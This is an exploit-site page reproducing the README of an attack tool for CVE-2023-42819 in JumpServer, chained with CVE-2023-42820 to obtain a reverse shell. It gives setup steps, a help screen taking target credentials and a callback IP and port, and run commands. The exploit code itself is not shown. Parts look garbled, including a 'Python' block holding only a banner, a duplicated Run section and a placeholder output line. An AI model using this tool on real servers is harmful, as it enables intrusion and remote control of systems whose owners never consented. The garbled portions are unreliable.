Sploitus

Exploit for Path Traversal in Fit2Cloud Jumpserver

githubexploit Β· 2023-10-12

Exploit Code

README109 lines
## https://sploitus.com/exploit?id=A3FB264C-22FF-5C68-B701-7F126235D51F
# CVE-2023-42819  
CVE-2023-42819  

## Description of the Vulnerability  
JumpServer Arbitrary File Writing Vulnerability  

CVE-2023-42819 + CVE-2023-42820 = GetShell  

## Usage  
1. Place the script and required files in the same directory.  
2. Ensure Google Chrome is installed, and obtain its version number.  
   ```cmd
   reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version
   ```
3. Download the corresponding chromedriver based on the Google Chrome version number, and place it in the webdriver folder.  
   Latest version: https://googlechromelabs.github.io/chrome-for-testing/  
   Historical versions: https://chromedriver.chromium.org/downloads/version-selection  
   ~~Requires a lot of steps :-(~~  
4. Listen for the specified IP and port, and wait for a reverse shell.  

### Python Version  
```python
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—       β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•    β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ•β•β•β•β–ˆβ–ˆβ•—β•šβ•β•β•β•β–ˆβ–ˆβ•—      β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘     β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•šβ•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•  β–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•  β•šβ•β•β•β–ˆβ–ˆβ•—β•šβ•β•β•β•β•β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ•β•β•β–ˆβ–ˆβ•‘
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•           β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
 β•šβ•β•β•β•β•β•  β•šβ•β•β•β•  β•šβ•β•β•β•β•β•β•    β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•            β•šβ•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•  β•šβ•β• β•šβ•β•β•β•β•

                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rX13.github.io
                                                                            @Note: The code is for educational purposes only. Do not use for other purposes.

Usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]

CVE-2023-42819 by C1ph3rX13. Optional arguments:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target URL
  -u USERNAME, --username USERNAME
                        Account username
  -p PASSWORD, --password PASSWORD
                        Account password
  --ip IP               Shell IP
  --port PORT          Shell port
  --proxy PROXY        Proxy address http://ip:port
```

![image-1](https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-42819/main/images/CVE-2023-42819-1.png)

![image-1](https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-42819/main/images/CVE-2023-42819-2.png)

### Go Version  
#### Building  
```powershell
go mod init CVE-2023-42819
```

**Run**

```powershell
.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
```

#### Run

```powershell
.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
```

**Example Usage:**

```
.\CVE-2023-42819.exe -ip example.org -p β€œpassword” -port 8080 -proxy β€œhttp://proxy.example.com:8080” -t http://example.org
```

**Output:**

```
[Successfully executed CVE-2023-42819.exe]
```

**Notes:**

- This code is for educational purposes only. Do not use it for any commercial purposes.
- The `httpx` library can be used instead of `httpclient`.
- The `EXP` function can be added as an additional feature.
- The `go-resty` library can be used instead of `httpclient`.
- A typo in the login prompt caused an issue with the CAPTCHA bypass.
- More types of reverse shells should be added.
- Compatibility with Linux should be improved using the β€œheadless” mode.
- More `http, https, socks` proxies should be supported.
- CVE-2023-42819 and CVE-2023-42820 can be automatically detected using this tool.
- ~~With so many flags, it might be difficult to complete everything : (~~

**Maintenance Notes:**

- Added automatic detection of website vulnerabilities on October 18, 2023 – Python version.
- Reorganized client functions on October 18, 2023.
- Simplified the execution logic on October 18, 2023.
- Linux testing completed on October 18, 2023 – Go version.

**Disclaimer:**

1. This tool is intended only for penetration testers and network administrators who have legal authorization. Users can download, copy, and use this tool for non-commercial purposes only after obtaining proper legal authorization.
2. Please ensure that your actions comply with local laws and regulations. Do not use this software for activities that violate laws of the People’s Republic of China. The authors and contributors of this tool do not assume any responsibility for any illegal activities conducted by users using this tool.

[source-iocs-preserved url=https://c1ph3rx13.github.io,https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-42819/main/images/CVE-2023-42819-Go.png]